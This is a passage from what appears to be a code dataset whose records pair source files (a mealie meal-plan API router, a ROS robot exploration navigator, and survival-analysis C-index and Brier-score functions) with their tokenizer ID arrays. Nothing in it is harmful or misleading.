29908, 13, 4706, 10823, 29918, 1807, 353, 18227, 14769, 1237, 2144, 29876, 29908, 13, 4706, 363, 474, 29892, 10823, 297, 26985, 29898, 1311, 29889, 351, 1237, 1125, 13, 9651, 10823, 29918, 1807, 4619, 6634, 29873, 29908, 718, 851, 29898, 14748, 29897, 718, 28796, 718, 851, 29898, 1311, 29889, 14748, 29918, 27703, 29961, 29875, 2314, 718, 6634, 29876, 29908, 13, 4706, 1828, 29918, 1807, 353, 18227, 9629, 5513, 718, 851, 29898, 1311, 29889, 16744, 29897, 718, 6634, 29876, 29908, 13, 13, 4706, 736, 29871, 286, 6099, 29918, 1807, 718, 10823, 29918, 1807, 718, 1828, 29918, 1807, 13, 13, 1678, 822, 4770, 710, 12035, 1311, 1125, 13, 4706, 736, 1583, 3032, 657, 29918, 4548, 29918, 1445, 29918, 1807, 580, 13, 2 ]
mealie/routes/meal_routes.py
stevenroh/mealie
0
176811
<filename>mealie/routes/meal_routes.py from typing import List from fastapi import APIRouter, HTTPException from services.meal_services import MealPlan from utils.snackbar import SnackResponse router = APIRouter(tags=["Meal Plan"]) @router.get("/api/meal-plan/all/", response_model=List[MealPlan]) def get_all_meals(): """ Returns a list of all available Meal Plan """ return MealPlan.get_all() @router.post("/api/meal-plan/create/") def set_meal_plan(data: MealPlan): """ Creates a meal plan database entry """ data.process_meals() data.save_to_db() # raise HTTPException( # status_code=404, # detail=SnackResponse.error("Unable to Create Mealplan See Log"), # ) return SnackResponse.success("Mealplan Created") @router.post("/api/meal-plan/{plan_id}/update/") def update_meal_plan(plan_id: str, meal_plan: MealPlan): """ Updates a meal plan based off ID """ meal_plan.process_meals() meal_plan.update(plan_id) # try: # meal_plan.process_meals() # meal_plan.update(plan_id) # except: # raise HTTPException( # status_code=404, # detail=SnackResponse.error("Unable to Update Mealplan"), # ) return SnackResponse.success("Mealplan Updated") @router.delete("/api/meal-plan/{plan_id}/delete/") def delete_meal_plan(plan_id): """ Removes a meal plan from the database """ MealPlan.delete(plan_id) return SnackResponse.success("Mealplan Deleted") @router.get( "/api/meal-plan/today/", tags=["Meal Plan"], ) def get_today(): """ Returns the recipe slug for the meal scheduled for today. If no meal is scheduled nothing is returned """ return MealPlan.today() @router.get("/api/meal-plan/this-week/", response_model=MealPlan) def get_this_week(): """ Returns the meal plan data for this week """ return MealPlan.this_week()
[ 1, 529, 9507, 29958, 1004, 284, 347, 29914, 27894, 29914, 1004, 284, 29918, 27894, 29889, 2272, 13, 3166, 19229, 1053, 2391, 13, 13, 3166, 5172, 2754, 1053, 3450, 23971, 29892, 7331, 2451, 13, 3166, 5786, 29889, 1004, 284, 29918, 9916, 1053, 2191, 284, 20334, 13, 3166, 3667, 29879, 29889, 16586, 547, 1646, 1053, 22639, 547, 5103, 13, 13, 15140, 353, 3450, 23971, 29898, 11338, 29922, 3366, 6816, 284, 8402, 20068, 13, 13, 13, 29992, 15140, 29889, 657, 11974, 2754, 29914, 1004, 284, 29899, 9018, 29914, 497, 29914, 613, 2933, 29918, 4299, 29922, 1293, 29961, 6816, 284, 20334, 2314, 13, 1753, 679, 29918, 497, 29918, 1004, 1338, 7295, 13, 1678, 9995, 16969, 263, 1051, 310, 599, 3625, 2191, 284, 8402, 9995, 13, 13, 1678, 736, 2191, 284, 20334, 29889, 657, 29918, 497, 580, 13, 13, 13, 29992, 15140, 29889, 2490, 11974, 2754, 29914, 1004, 284, 29899, 9018, 29914, 3258, 29914, 1159, 13, 1753, 731, 29918, 1004, 284, 29918, 9018, 29898, 1272, 29901, 2191, 284, 20334, 1125, 13, 1678, 9995, 6760, 1078, 263, 592, 284, 3814, 2566, 6251, 9995, 13, 1678, 848, 29889, 5014, 29918, 1004, 1338, 580, 13, 1678, 848, 29889, 7620, 29918, 517, 29918, 2585, 580, 13, 13, 1678, 396, 268, 12020, 7331, 2451, 29898, 13, 1678, 396, 308, 4660, 29918, 401, 29922, 29946, 29900, 29946, 29892, 13, 1678, 396, 308, 9493, 29922, 29903, 29876, 547, 5103, 29889, 2704, 703, 2525, 519, 304, 6204, 2191, 284, 9018, 2823, 4522, 4968, 13, 1678, 396, 268, 1723, 13, 13, 1678, 736, 22639, 547, 5103, 29889, 8698, 703, 6816, 284, 9018, 6760, 630, 1159, 13, 13, 13, 29992, 15140, 29889, 2490, 11974, 2754, 29914, 1004, 284, 29899, 9018, 19248, 9018, 29918, 333, 6822, 5504, 29914, 1159, 13, 1753, 2767, 29918, 1004, 284, 29918, 9018, 29898, 9018, 29918, 333, 29901, 851, 29892, 592, 284, 29918, 9018, 29901, 2191, 284, 20334, 1125, 13, 1678, 9995, 5020, 15190, 263, 592, 284, 3814, 2729, 1283, 3553, 9995, 13, 1678, 592, 284, 29918, 9018, 29889, 5014, 29918, 1004, 1338, 580, 13, 1678, 592, 284, 29918, 9018, 29889, 5504, 29898, 9018, 29918, 333, 29897, 13, 1678, 396, 1018, 29901, 13, 1678, 396, 268, 592, 284, 29918, 9018, 29889, 5014, 29918, 1004, 1338, 580, 13, 1678, 396, 268, 592, 284, 29918, 9018, 29889, 5504, 29898, 9018, 29918, 333, 29897, 13, 1678, 396, 5174, 29901, 13, 1678, 396, 268, 12020, 7331, 2451, 29898, 13, 1678, 396, 308, 4660, 29918, 401, 29922, 29946, 29900, 29946, 29892, 13, 1678, 396, 308, 9493, 29922, 29903, 29876, 547, 5103, 29889, 2704, 703, 2525, 519, 304, 10318, 2191, 284, 9018, 4968, 13, 1678, 396, 268, 1723, 13, 13, 1678, 736, 22639, 547, 5103, 29889, 8698, 703, 6816, 284, 9018, 25723, 1159, 13, 13, 13, 29992, 15140, 29889, 8143, 11974, 2754, 29914, 1004, 284, 29899, 9018, 19248, 9018, 29918, 333, 6822, 8143, 29914, 1159, 13, 1753, 5217, 29918, 1004, 284, 29918, 9018, 29898, 9018, 29918, 333, 1125, 13, 1678, 9995, 5240, 586, 267, 263, 592, 284, 3814, 515, 278, 2566, 9995, 13, 13, 1678, 2191, 284, 20334, 29889, 8143, 29898, 9018, 29918, 333, 29897, 13, 13, 1678, 736, 22639, 547, 5103, 29889, 8698, 703, 6816, 284, 9018, 897, 22742, 1159, 13, 13, 13, 29992, 15140, 29889, 657, 29898, 13, 1678, 5591, 2754, 29914, 1004, 284, 29899, 9018, 29914, 27765, 29914, 613, 13, 1678, 8282, 29922, 3366, 6816, 284, 8402, 12436, 13, 29897, 13, 1753, 679, 29918, 27765, 7295, 13, 1678, 9995, 13, 1678, 16969, 278, 9522, 412, 2243, 688, 363, 278, 592, 284, 21467, 363, 9826, 29889, 13, 1678, 960, 694, 592, 284, 338, 21467, 3078, 338, 4133, 13, 1678, 9995, 13, 13, 1678, 736, 2191, 284, 20334, 29889, 27765, 580, 13, 13, 13, 29992, 15140, 29889, 657, 11974, 2754, 29914, 1004, 284, 29899, 9018, 29914, 1366, 29899, 18448, 29914, 613, 2933, 29918, 4299, 29922, 6816, 284, 20334, 29897, 13, 1753, 679, 29918, 1366, 29918, 18448, 7295, 13, 1678, 9995, 16969, 278, 592, 284, 3814, 848, 363, 445, 4723, 9995, 13, 13, 1678, 736, 2191, 284, 20334, 29889, 1366, 29918, 18448, 580, 13, 2 ]
ros/src/map_collector/src/navigator.py
jkulhanek/robot-visual-navigation
13
194621
import numpy as np from controller import Controller from wrappers import visualize from collections import defaultdict from math import pi GRID_SIZE = 0.5 ROTATION_STEPS = 4 def move_position(position, rotation): if rotation == 0: return (position[0] + 1, position[1]) elif rotation == 1: return (position[0], position[1] + 1) elif rotation == 2: return (position[0] - 1, position[1]) elif rotation == 3: return (position[0], position[1] - 1) class Navigator: def __init__(self, controller): self.controller = controller def _move(self, position): return self.controller.move_to((position[0] * GRID_SIZE, position[1] * GRID_SIZE)) def _rotate(self, rotation): return self.controller.rotate_to(rotation * 2 * pi / 4) def _can_move(self): return not self.controller.is_occupied() def collect(self, observation, position, rotation): print("Collecting %s-%s" % (position, rotation)) def explore(self): self.maze = defaultdict(lambda: 0) self.maze[(0,0)] = 1 position = (0,0) rotation = 0 self._explore(position, rotation) def _explore(self, position, rotation): self.maze[position] = 2 collect_spots = [] for i in range(4): if self.maze[move_position(position, rotation)] == 0: canMove = self._can_move() state = 1 if canMove else 3 self.maze[move_position(position, rotation)] = state if canMove: collect_spots.append((move_position(position, rotation), rotation)) for r in range(3): self.collect(self.controller.observe(), position, rotation + (float(r) / 3)) self._rotate(rotation + (float(r + 1) / 3)) if i != 3: rotation = (rotation + 1) % 4 else: self._rotate(rotation) for i in range(4): if len(collect_spots) > 0: pos, rot = collect_spots.pop() if rot == rotation: self._move(pos) self._explore(pos, rot) self._move(position) else: collect_spots.append((pos, rot)) if i != 3: rotation = (rotation - 1) % 4 self._rotate(rotation)
[ 1, 1053, 12655, 408, 7442, 13, 3166, 4701, 1053, 15830, 13, 3166, 11463, 22437, 1053, 7604, 675, 13, 3166, 16250, 1053, 2322, 8977, 13, 3166, 5844, 1053, 2930, 13, 13, 14345, 1367, 29918, 14226, 353, 29871, 29900, 29889, 29945, 13, 1672, 29911, 8098, 29918, 1254, 29923, 7024, 353, 29871, 29946, 13, 13, 1753, 4337, 29918, 3283, 29898, 3283, 29892, 13733, 1125, 13, 1678, 565, 13733, 1275, 29871, 29900, 29901, 13, 4706, 736, 313, 3283, 29961, 29900, 29962, 718, 29871, 29896, 29892, 2602, 29961, 29896, 2314, 13, 1678, 25342, 13733, 1275, 29871, 29896, 29901, 13, 4706, 736, 313, 3283, 29961, 29900, 1402, 2602, 29961, 29896, 29962, 718, 29871, 29896, 29897, 13, 1678, 25342, 13733, 1275, 29871, 29906, 29901, 13, 4706, 736, 313, 3283, 29961, 29900, 29962, 448, 29871, 29896, 29892, 2602, 29961, 29896, 2314, 13, 1678, 25342, 13733, 1275, 29871, 29941, 29901, 13, 4706, 736, 313, 3283, 29961, 29900, 1402, 2602, 29961, 29896, 29962, 448, 29871, 29896, 29897, 13, 13, 1990, 405, 25521, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 4701, 1125, 13, 4706, 1583, 29889, 8299, 353, 4701, 13, 268, 13, 1678, 822, 903, 11631, 29898, 1311, 29892, 2602, 1125, 13, 4706, 736, 1583, 29889, 8299, 29889, 11631, 29918, 517, 3552, 3283, 29961, 29900, 29962, 334, 18016, 1367, 29918, 14226, 29892, 2602, 29961, 29896, 29962, 334, 18016, 1367, 29918, 14226, 876, 13, 13, 1678, 822, 903, 23361, 29898, 1311, 29892, 13733, 1125, 13, 4706, 736, 1583, 29889, 8299, 29889, 23361, 29918, 517, 29898, 5450, 362, 334, 29871, 29906, 334, 2930, 847, 29871, 29946, 29897, 13, 268, 13, 1678, 822, 903, 3068, 29918, 11631, 29898, 1311, 1125, 13, 4706, 736, 451, 1583, 29889, 8299, 29889, 275, 29918, 16770, 1000, 580, 13, 13, 1678, 822, 6314, 29898, 1311, 29892, 15500, 29892, 2602, 29892, 13733, 1125, 13, 4706, 1596, 703, 28916, 292, 1273, 29879, 19222, 29879, 29908, 1273, 313, 3283, 29892, 13733, 876, 13, 13, 1678, 822, 26987, 29898, 1311, 1125, 13, 4706, 1583, 29889, 655, 911, 353, 2322, 8977, 29898, 2892, 29901, 29871, 29900, 29897, 13, 4706, 1583, 29889, 655, 911, 15625, 29900, 29892, 29900, 4638, 353, 29871, 29896, 13, 4706, 2602, 353, 313, 29900, 29892, 29900, 29897, 13, 4706, 13733, 353, 29871, 29900, 13, 4706, 1583, 3032, 24516, 487, 29898, 3283, 29892, 13733, 29897, 13, 13, 1678, 822, 903, 24516, 487, 29898, 1311, 29892, 2602, 29892, 13733, 1125, 13, 4706, 1583, 29889, 655, 911, 29961, 3283, 29962, 353, 29871, 29906, 13, 4706, 6314, 29918, 1028, 1862, 353, 5159, 13, 4706, 363, 474, 297, 3464, 29898, 29946, 1125, 13, 9651, 565, 1583, 29889, 655, 911, 29961, 11631, 29918, 3283, 29898, 3283, 29892, 13733, 4638, 1275, 29871, 29900, 29901, 13, 18884, 508, 16619, 353, 1583, 3032, 3068, 29918, 11631, 580, 13, 18884, 2106, 353, 29871, 29896, 565, 508, 16619, 1683, 29871, 29941, 13, 18884, 1583, 29889, 655, 911, 29961, 11631, 29918, 3283, 29898, 3283, 29892, 13733, 4638, 353, 2106, 13, 18884, 565, 508, 16619, 29901, 13, 462, 1678, 6314, 29918, 1028, 1862, 29889, 4397, 3552, 11631, 29918, 3283, 29898, 3283, 29892, 13733, 511, 13733, 876, 13, 13, 9651, 363, 364, 297, 3464, 29898, 29941, 1125, 462, 13, 18884, 1583, 29889, 15914, 29898, 1311, 29889, 8299, 29889, 711, 16349, 3285, 2602, 29892, 13733, 718, 313, 7411, 29898, 29878, 29897, 847, 29871, 29941, 876, 13, 18884, 1583, 3032, 23361, 29898, 5450, 362, 718, 313, 7411, 29898, 29878, 718, 29871, 29896, 29897, 847, 29871, 29941, 876, 13, 13, 9651, 565, 474, 2804, 29871, 29941, 29901, 13, 18884, 13733, 353, 313, 5450, 362, 718, 29871, 29896, 29897, 1273, 29871, 29946, 13, 9651, 1683, 29901, 13, 18884, 1583, 3032, 23361, 29898, 5450, 362, 29897, 13, 632, 13, 4706, 363, 474, 297, 3464, 29898, 29946, 1125, 13, 9651, 565, 7431, 29898, 15914, 29918, 1028, 1862, 29897, 1405, 29871, 29900, 29901, 13, 18884, 926, 29892, 5731, 353, 6314, 29918, 1028, 1862, 29889, 7323, 580, 13, 18884, 565, 5731, 1275, 13733, 29901, 13, 462, 1678, 1583, 3032, 11631, 29898, 1066, 29897, 13, 462, 1678, 1583, 3032, 24516, 487, 29898, 1066, 29892, 5731, 29897, 13, 462, 1678, 1583, 3032, 11631, 29898, 3283, 29897, 13, 18884, 1683, 29901, 13, 462, 1678, 6314, 29918, 1028, 1862, 29889, 4397, 3552, 1066, 29892, 5731, 876, 13, 13, 9651, 565, 474, 2804, 29871, 29941, 29901, 13, 18884, 13733, 353, 313, 5450, 362, 448, 29871, 29896, 29897, 1273, 29871, 29946, 13, 18884, 1583, 3032, 23361, 29898, 5450, 362, 29897, 13, 13, 13, 2 ]
performance_measures.py
kkeya1/FCPH
0
45492
<reponame>kkeya1/FCPH #%% # Main source = Deep hit model, 'https://github.com/chl8856/DeepHit' #%% ''' This provide time-dependent Concordance index and Brier Score: - Use weighted_c_index and weighted_brier_score, which are the unbiased estimates. See equations and descriptions eq. (11) and (12) of the following paper: - <NAME>, <NAME>, <NAME>, <NAME>, "Temporal Quilting for Survival Analysis", AISTATS 2019 ''' import numpy as np from lifelines import KaplanMeierFitter def log_partial_lik(prediction, targets): risk = prediction E = targets hazard_ratio = np.exp(risk) log_risk = np.log(np.cumsum(hazard_ratio, axis=0)) uncensored_likelihood = risk - log_risk censored_likelihood = uncensored_likelihood.transpose(0, 1) * E num_observed_events = np.sum(E) partial_likelihood = np.sum(censored_likelihood) / num_observed_events # log partial likelihood return partial_likelihood ### C(t)-INDEX CALCULATION def c_index(Prediction, Time_survival, Death, Time): ''' This is a cause-specific c(t)-index - Prediction : risk at Time (higher --> more risky) - Time_survival : survival/censoring time - Death : > 1: death > 0: censored (including death from other cause) - Time : time of evaluation (time-horizon when evaluating C-index) ''' N = len(Prediction) A = np.zeros((N,N)) Q = np.zeros((N,N)) N_t = np.zeros((N,N)) Num = 0 Den = 0 for i in range(N): A[i, np.where(Time_survival[i] < Time_survival)] = 1 Q[i, np.where(Prediction[i] > Prediction)] = 1 if (Time_survival[i]<=Time and Death[i]==1): N_t[i,:] = 1 Num = np.sum(((A)*N_t)*Q) Den = np.sum((A)*N_t) if Num == 0 and Den == 0: result = -1 # not able to compute c-index! else: result = float(Num/Den) return result ### BRIER-SCORE def brier_score(Prediction, Time_survival, Death, Time): N = len(Prediction) y_true = ((Time_survival <= Time) * Death).astype(float) return np.mean((Prediction - y_true)**2) # result2[k, t] = brier_score_loss(risk[:, k], ((te_time[:,0] <= eval_horizon) * (te_label[:,0] == k+1)).astype(int)) ##### WEIGHTED C-INDEX & BRIER-SCORE def CensoringProb(Y, T): T = T.reshape([-1]) # (N,) - np array Y = Y.reshape([-1]) # (N,) - np array kmf = KaplanMeierFitter() kmf.fit(T, event_observed=(Y==0).astype(int)) # censoring prob = survival probability of event "censoring" G = np.asarray(kmf.survival_function_.reset_index()).transpose() G[1, G[1, :] == 0] = G[1, G[1, :] != 0][-1] #fill 0 with ZoH (to prevent nan values) return G ### C(t)-INDEX CALCULATION: this account for the weighted average for unbaised estimation def weighted_c_index(T_train, Y_train, Prediction, T_test, Y_test, Time): ''' This is a cause-specific c(t)-index - Prediction : risk at Time (higher --> more risky) - Time_survival : survival/censoring time - Death : > 1: death > 0: censored (including death from other cause) - Time : time of evaluation (time-horizon when evaluating C-index) ''' G = CensoringProb(Y_train, T_train) N = len(Prediction) A = np.zeros((N,N)) Q = np.zeros((N,N)) N_t = np.zeros((N,N)) Num = 0 Den = 0 for i in range(N): tmp_idx = np.where(G[0,:] >= T_test[i])[0] if len(tmp_idx) == 0: W = (1./G[1, -1])**2 else: W = (1./G[1, tmp_idx[0]])**2 A[i, np.where(T_test[i] < T_test)] = 1. * W Q[i, np.where(Prediction[i] > Prediction)] = 1. # give weights if (T_test[i]<=Time and Y_test[i]==1): N_t[i,:] = 1. Num = np.sum(((A)*N_t)*Q) Den = np.sum((A)*N_t) if Num == 0 and Den == 0: result = -1 # not able to compute c-index! else: result = float(Num/Den) return result # this account for the weighted average for unbaised estimation def weighted_brier_score(T_train, Y_train, Prediction, T_test, Y_test, Time): G = CensoringProb(Y_train, T_train) N = len(Prediction) W = np.zeros(len(Y_test)) Y_tilde = (T_test > Time).astype(float) for i in range(N): tmp_idx1 = np.where(G[0,:] >= T_test[i])[0] tmp_idx2 = np.where(G[0,:] >= Time)[0] if len(tmp_idx1) == 0: G1 = G[1, -1] else: G1 = G[1, tmp_idx1[0]] if len(tmp_idx2) == 0: G2 = G[1, -1] else: G2 = G[1, tmp_idx2[0]] W[i] = (1. - Y_tilde[i])*float(Y_test[i])/G1 + Y_tilde[i]/G2 y_true = ((T_test <= Time) * Y_test).astype(float) return np.mean(W*(Y_tilde - (1.-Prediction))**2)
[ 1, 529, 276, 1112, 420, 29958, 29895, 1989, 29874, 29896, 29914, 29943, 6271, 29950, 13, 29937, 7686, 30004, 13, 29937, 4241, 2752, 353, 21784, 7124, 1904, 29892, 525, 991, 597, 3292, 29889, 510, 29914, 305, 29880, 29947, 29947, 29945, 29953, 29914, 2772, 1022, 29950, 277, 29915, 30004, 13, 29937, 7686, 30004, 13, 12008, 30004, 13, 4013, 3867, 931, 29899, 18980, 1281, 16090, 749, 2380, 322, 350, 4336, 2522, 487, 29901, 30004, 13, 1678, 448, 4803, 7688, 287, 29918, 29883, 29918, 2248, 322, 7688, 287, 29918, 29890, 4336, 29918, 13628, 29892, 607, 526, 278, 443, 5365, 1463, 21875, 22993, 13, 1678, 6756, 13, 13393, 10693, 322, 2342, 1980, 11594, 29889, 313, 29896, 29896, 29897, 322, 313, 29896, 29906, 29897, 310, 278, 1494, 5650, 29901, 30004, 13, 1678, 448, 529, 5813, 10202, 529, 5813, 10202, 529, 5813, 10202, 529, 5813, 10202, 376, 5776, 1971, 284, 751, 309, 1259, 363, 6298, 29894, 2561, 24352, 613, 319, 9047, 1299, 29903, 29871, 29906, 29900, 29896, 29929, 30004, 13, 12008, 30004, 13, 30004, 13, 5215, 12655, 408, 7442, 30004, 13, 3166, 11747, 24210, 1053, 9622, 6468, 6816, 631, 29943, 5171, 30004, 13, 30004, 13, 1753, 1480, 29918, 3846, 29918, 5081, 29898, 11965, 2463, 29892, 22525, 1125, 30004, 13, 1678, 12045, 353, 18988, 30004, 13, 1678, 382, 353, 22525, 30004, 13, 1678, 447, 29920, 538, 29918, 3605, 601, 353, 7442, 29889, 4548, 29898, 3780, 29895, 8443, 13, 1678, 1480, 29918, 3780, 29895, 353, 7442, 29889, 1188, 29898, 9302, 29889, 29883, 398, 2083, 29898, 29882, 834, 538, 29918, 3605, 601, 29892, 9685, 29922, 29900, 876, 30004, 13, 1678, 443, 29883, 575, 4395, 29918, 5081, 22342, 353, 12045, 448, 1480, 29918, 3780, 29895, 30004, 13, 1678, 19343, 4395, 29918, 5081, 22342, 353, 443, 29883, 575, 4395, 29918, 5081, 22342, 29889, 3286, 4220, 29898, 29900, 29892, 29871, 29896, 29897, 334, 382, 30004, 13, 1678, 954, 29918, 711, 643, 1490, 29918, 13604, 353, 7442, 29889, 2083, 29898, 29923, 8443, 13, 1678, 7687, 29918, 5081, 22342, 353, 7442, 29889, 2083, 29898, 29883, 575, 4395, 29918, 5081, 22342, 29897, 847, 954, 29918, 711, 643, 1490, 29918, 13604, 396, 1480, 7687, 4188, 22342, 30004, 13, 1678, 736, 7687, 29918, 5081, 22342, 30004, 13, 4706, 6756, 13, 30004, 13, 2277, 29937, 315, 29898, 29873, 6817, 27992, 315, 1964, 29907, 13309, 8098, 30004, 13, 1753, 274, 29918, 2248, 29898, 23084, 2463, 29892, 5974, 29918, 7610, 29894, 2561, 29892, 14450, 29892, 5974, 1125, 30004, 13, 1678, 14550, 30004, 13, 4706, 910, 338, 263, 4556, 29899, 14940, 274, 29898, 29873, 6817, 2248, 30004, 13, 4706, 448, 21099, 2463, 418, 584, 12045, 472, 5974, 313, 9812, 261, 6660, 901, 5161, 3459, 8443, 13, 4706, 448, 5974, 29918, 7610, 29894, 2561, 259, 584, 10503, 2561, 29914, 29883, 6073, 292, 931, 30004, 13, 4706, 448, 14450, 965, 584, 30004, 13, 9651, 1405, 29871, 29896, 29901, 4892, 30004, 13, 9651, 1405, 29871, 29900, 29901, 19343, 4395, 313, 18271, 4892, 515, 916, 4556, 8443, 13, 4706, 448, 5974, 9651, 584, 931, 310, 17983, 313, 2230, 29899, 2015, 18162, 746, 6161, 1218, 315, 29899, 2248, 8443, 13, 1678, 14550, 30004, 13, 1678, 405, 353, 7431, 29898, 23084, 2463, 8443, 13, 1678, 319, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29940, 876, 30004, 13, 1678, 660, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29940, 876, 30004, 13, 1678, 405, 29918, 29873, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29940, 876, 30004, 13, 1678, 11848, 353, 29871, 29900, 30004, 13, 1678, 3384, 353, 29871, 29900, 30004, 13, 1678, 363, 474, 297, 3464, 29898, 29940, 1125, 30004, 13, 4706, 319, 29961, 29875, 29892, 7442, 29889, 3062, 29898, 2481, 29918, 7610, 29894, 2561, 29961, 29875, 29962, 529, 5974, 29918, 7610, 29894, 2561, 4638, 353, 29871, 29896, 30004, 13, 4706, 660, 29961, 29875, 29892, 7442, 29889, 3062, 29898, 23084, 2463, 29961, 29875, 29962, 1405, 21099, 2463, 4638, 353, 29871, 29896, 30004, 13, 29871, 6756, 13, 4706, 565, 313, 2481, 29918, 7610, 29894, 2561, 29961, 29875, 29962, 14065, 2481, 322, 14450, 29961, 29875, 29962, 1360, 29896, 1125, 30004, 13, 9651, 405, 29918, 29873, 29961, 29875, 29892, 17531, 353, 29871, 29896, 30004, 13, 30004, 13, 1678, 11848, 29871, 353, 7442, 29889, 2083, 3552, 29898, 29909, 11877, 29940, 29918, 29873, 11877, 29984, 8443, 13, 1678, 3384, 29871, 353, 7442, 29889, 2083, 3552, 29909, 11877, 29940, 29918, 29873, 8443, 13, 30004, 13, 1678, 565, 11848, 1275, 29871, 29900, 322, 3384, 1275, 29871, 29900, 29901, 30004, 13, 4706, 1121, 353, 448, 29896, 396, 451, 2221, 304, 10272, 274, 29899, 2248, 29991, 30004, 13, 1678, 1683, 29901, 30004, 13, 4706, 1121, 353, 5785, 29898, 8009, 29914, 29315, 8443, 13, 30004, 13, 1678, 736, 1121, 30004, 13, 30004, 13, 2277, 29937, 350, 3960, 1001, 29899, 29903, 3217, 1525, 30004, 13, 1753, 289, 4336, 29918, 13628, 29898, 23084, 2463, 29892, 5974, 29918, 7610, 29894, 2561, 29892, 14450, 29892, 5974, 1125, 30004, 13, 1678, 405, 353, 7431, 29898, 23084, 2463, 8443, 13, 1678, 343, 29918, 3009, 353, 5135, 2481, 29918, 7610, 29894, 2561, 5277, 5974, 29897, 334, 14450, 467, 579, 668, 29898, 7411, 8443, 13, 30004, 13, 1678, 736, 7442, 29889, 12676, 3552, 23084, 2463, 448, 343, 29918, 3009, 29897, 1068, 29906, 8443, 13, 30004, 13, 1678, 396, 1121, 29906, 29961, 29895, 29892, 260, 29962, 353, 289, 4336, 29918, 13628, 29918, 6758, 29898, 3780, 29895, 7503, 29892, 413, 1402, 5135, 371, 29918, 2230, 7503, 29892, 29900, 29962, 5277, 19745, 29918, 2015, 18162, 29897, 334, 313, 371, 29918, 1643, 7503, 29892, 29900, 29962, 1275, 413, 29974, 29896, 8106, 579, 668, 29898, 524, 876, 30004, 13, 30004, 13, 30004, 13, 4136, 29937, 399, 29923, 22530, 3352, 315, 29899, 27992, 669, 350, 3960, 1001, 29899, 29903, 3217, 1525, 30004, 13, 1753, 315, 6073, 292, 1184, 29890, 29898, 29979, 29892, 323, 1125, 30004, 13, 30004, 13, 1678, 323, 353, 323, 29889, 690, 14443, 4197, 29899, 29896, 2314, 396, 313, 29940, 29892, 29897, 448, 7442, 1409, 30004, 13, 1678, 612, 353, 612, 29889, 690, 14443, 4197, 29899, 29896, 2314, 396, 313, 29940, 29892, 29897, 448, 7442, 1409, 30004, 13, 30004, 13, 1678, 2383, 29888, 353, 9622, 6468, 6816, 631, 29943, 5171, 26471, 13, 1678, 2383, 29888, 29889, 9202, 29898, 29911, 29892, 1741, 29918, 711, 643, 1490, 7607, 29979, 1360, 29900, 467, 579, 668, 29898, 524, 876, 29871, 396, 274, 6073, 292, 2070, 353, 10503, 2561, 6976, 310, 1741, 376, 29883, 6073, 292, 19451, 13, 1678, 402, 353, 7442, 29889, 294, 2378, 29898, 8848, 29888, 29889, 7610, 29894, 2561, 29918, 2220, 5396, 12071, 29918, 2248, 16655, 3286, 4220, 26471, 13, 1678, 402, 29961, 29896, 29892, 402, 29961, 29896, 29892, 584, 29962, 1275, 29871, 29900, 29962, 353, 402, 29961, 29896, 29892, 402, 29961, 29896, 29892, 584, 29962, 2804, 29871, 29900, 3816, 29899, 29896, 29962, 29871, 396, 5589, 29871, 29900, 411, 17421, 29950, 313, 517, 5557, 23432, 1819, 8443, 13, 1678, 6756, 13, 1678, 736, 402, 30004, 13, 30004, 13, 30004, 13, 2277, 29937, 315, 29898, 29873, 6817, 27992, 315, 1964, 29907, 13309, 8098, 29901, 445, 3633, 363, 278, 7688, 287, 6588, 363, 443, 29890, 1759, 287, 23248, 30004, 13, 1753, 7688, 287, 29918, 29883, 29918, 2248, 29898, 29911, 29918, 14968, 29892, 612, 29918, 14968, 29892, 21099, 2463, 29892, 323, 29918, 1688, 29892, 612, 29918, 1688, 29892, 5974, 1125, 30004, 13, 1678, 14550, 30004, 13, 4706, 910, 338, 263, 4556, 29899, 14940, 274, 29898, 29873, 6817, 2248, 30004, 13, 4706, 448, 21099, 2463, 418, 584, 12045, 472, 5974, 313, 9812, 261, 6660, 901, 5161, 3459, 8443, 13, 4706, 448, 5974, 29918, 7610, 29894, 2561, 259, 584, 10503, 2561, 29914, 29883, 6073, 292, 931, 30004, 13, 4706, 448, 14450, 965, 584, 30004, 13, 9651, 1405, 29871, 29896, 29901, 4892, 30004, 13, 9651, 1405, 29871, 29900, 29901, 19343, 4395, 313, 18271, 4892, 515, 916, 4556, 8443, 13, 4706, 448, 5974, 9651, 584, 931, 310, 17983, 313, 2230, 29899, 2015, 18162, 746, 6161, 1218, 315, 29899, 2248, 8443, 13, 1678, 14550, 30004, 13, 1678, 402, 353, 315, 6073, 292, 1184, 29890, 29898, 29979, 29918, 14968, 29892, 323, 29918, 14968, 8443, 13, 30004, 13, 1678, 405, 353, 7431, 29898, 23084, 2463, 8443, 13, 1678, 319, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29940, 876, 30004, 13, 1678, 660, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29940, 876, 30004, 13, 1678, 405, 29918, 29873, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29940, 876, 30004, 13, 1678, 11848, 353, 29871, 29900, 30004, 13, 1678, 3384, 353, 29871, 29900, 30004, 13, 1678, 363, 474, 297, 3464, 29898, 29940, 1125, 30004, 13, 4706, 13128, 29918, 13140, 353, 7442, 29889, 3062, 29898, 29954, 29961, 29900, 29892, 17531, 6736, 323, 29918, 1688, 29961, 29875, 2314, 29961, 29900, 29962, 30004, 13, 30004, 13, 4706, 565, 7431, 29898, 7050, 29918, 13140, 29897, 1275, 29871, 29900, 29901, 30004, 13, 9651, 399, 353, 313, 29896, 6904, 29954, 29961, 29896, 29892, 448, 29896, 2314, 1068, 29906, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 399, 353, 313, 29896, 6904, 29954, 29961, 29896, 29892, 13128, 29918, 13140, 29961, 29900, 24960, 1068, 29906, 30004, 13, 30004, 13, 4706, 319, 29961, 29875, 29892, 7442, 29889, 3062, 29898, 29911, 29918, 1688, 29961, 29875, 29962, 529, 323, 29918, 1688, 4638, 353, 29871, 29896, 29889, 334, 399, 30004, 13, 4706, 660, 29961, 29875, 29892, 7442, 29889, 3062, 29898, 23084, 2463, 29961, 29875, 29962, 1405, 21099, 2463, 4638, 353, 29871, 29896, 29889, 396, 2367, 18177, 30004, 13, 30004, 13, 4706, 565, 313, 29911, 29918, 1688, 29961, 29875, 29962, 14065, 2481, 322, 612, 29918, 1688, 29961, 29875, 29962, 1360, 29896, 1125, 30004, 13, 9651, 405, 29918, 29873, 29961, 29875, 29892, 17531, 353, 29871, 29896, 